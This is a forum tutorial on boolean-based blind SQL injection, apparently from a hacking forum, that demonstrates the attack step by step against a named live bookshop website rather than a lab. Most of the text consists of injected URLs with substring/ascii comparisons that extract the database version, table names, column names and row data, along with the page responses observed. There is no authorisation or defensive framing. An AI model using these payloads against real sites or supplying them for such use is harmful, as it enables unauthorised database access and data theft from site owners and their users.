## [Detailed] Boolean Based Blind Injection [Tutorial]

introduction

so a lot of people view bling injection as having to guess everything, when it's called blind injection because no data is visible on the page as an outcome.

remember, whenever you're injecting a site, as long as information_schema exists (version 5 or more), then you can use it to get data out of a page. this includes table names, database names, columns, and all the rest..

here's a quick tutorial on getting data using blind injection for versions 5 or above, without guessing the outcome.

i'll be using this site as an example.

getting the version

code:
code:
http://cathedralhillpress.com/book.php?id=1
let's start by getting the version, to see if we can use substring() to get data out of information_schema.

code:
code:
http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=5
it loads fine, now let's replace the 5 with a 4 to double check.

code:
code:
http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=4
as you can see, the page has a huge chunk of text and pictures missing off of the page.

getting the table names

now let's get the first character, of the first table name out of our database.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),1,1))>0
the page loaded fine, so we know our first characters' ascii value is more then 0.

so we increment 0 until we get around the area it will be in.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),1,1))>75
we know it's more then 75, so let's go up a little bit more.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),1,1))>80
now we get our error, so let's go down, and change more then, to equals to get the exact value.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),1,1))=76
we get our error, so let's go up.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),1,1))=77
another error, let's go up again.

code:
code:

code:

http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),1,1))=78

and now it loads fine, so let's check the ascii value for 78.

you can check that here, by looking at the ascii table.
ascii table

78 comes back to "n".

now we know our first letter is n, so let's get the next letter by incrementing the 1, to a 2, in our substring() statement.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),2,1))>100
we know it's more then 100, so let's go up to 101 now.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),2,1))>101
we get our error. if the returned value is greater then 100, but not greater then 101, then it has to be 101. it's common sense.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),2,1))=101
and it loads fine...now convert the ascii value of 101 to text. it comes back to "e".

so far we have "ne"

now you can either keep getting the returned values, or try and guess the table name. it looks like news, so let's get our next character and guess.

the ascii value of "w" is 119, so let's see if it comes out positive.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),3,1))=119
it loads fine, so now we have "new".

lets check the last one...

the value of "s" is 115, so let's guess again.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),4,1))=115
now we have our "news" table, but how do we know if there's more characters or not? we can check if the 5th letter's ascii value is > 0, and if it's not, it doesn't exist. so let's check.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(table_name)+from+information_schema.tables+ where+table_schema=database()+ ​limit+0,1),5,1))>0
and the page loads with an error.

getting the column names

getting the columns is fairly similar to getting the table names, you just add a where clause, and convert your table name to hex/ascii characters.

let's see if our table even has columns first.

code:
code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),1,1))>0
page loads fine, so we have a first character that's value is more then 0. now let's get the column name.

code:
code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),1,1))>100
no errors, let's go up.

code:
code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),1,1))>105
error, it's between 100 and 105.

code:
code:
cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),1,1))=105
loads fine, the value of 105 is "i".

then we repeat the process, until we get our next character.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),2,1))>95
no error, let's try 100.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),2,1))>100
error, let's see if it = 100.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+0,1),2,1))=100
no error, so now we have "id". theres your first column, to get the next one, you'd just increase the limit and start over on your substring() statement.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(column_name)+from+information_schema.column s+where+table_name=0x4e657773+ ​limit+1,1),1,1))>0
getting data out of columns

it's the same process, except we put our column names in a concat statement, from the tablename.

code:
http://cathedralhillpress.com/book.p...string((select concat(id)+from+news+limit+0,1),1,1))>0
so let's get our first character..

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(id)+from+news+limit+0,1),1,1))>45
no error, let's go up.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(id)+from+news+limit+0,1),1,1))>50
error, go back down until you find the right one.

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(id)+from+news+limit+0,1),1,1))=49
loads fine, and the ascii value of 49 comes back to "1".

now let's check if there's a second character..

code:
code:
http://cathedralhillpress.com/book.p...string((select concat(id)+from+news+limit+0,1),2,1))>0
we get an error, so that was all that was our first result.
{"ft_lang_label":"__label__en","ft_lang_prob":0.80308,"math_prob":0.8327138,"size":7843,"snap":"2020-45-2020-50","text_gpt3_token_len":2224,"char_repetition_ratio":0.19211634,"word_repetition_ratio":0.048178613,"special_character_ratio":0.28101492,"punctuation_ratio":0.24471126,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98982704,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-24T17:13:15Z\",\"WARC-Record-ID\":\"<urn:uuid:4408dfec-4de8-4e38-8f9a-23e0dea5d86e>\",\"Content-Length\":\"41379\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:14b3ce9b-138a-49ec-92fc-11e4838c0518>\",\"WARC-Concurrent-To\":\"<urn:uuid:77829c6d-ecf5-48c3-8a07-31aa01caea95>\",\"WARC-IP-Address\":\"104.24.107.73\",\"WARC-Target-URI\":\"https://cyberz-world.com/threads/7244-Detailed-Boolean-Based-Blind-Injection-Tutorial?s=9a285a48107bdb761e6dfee094c3499f\",\"WARC-Payload-Digest\":\"sha1:WDIWPRIBJFZKC3ELGGS6WXWNQCFHNLJM\",\"WARC-Block-Digest\":\"sha1:YMMIWIXAXRS4E6RTJST77WNIHNU5EVI2\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141176922.14_warc_CC-MAIN-20201124170142-20201124200142-00133.warc.gz\"}"}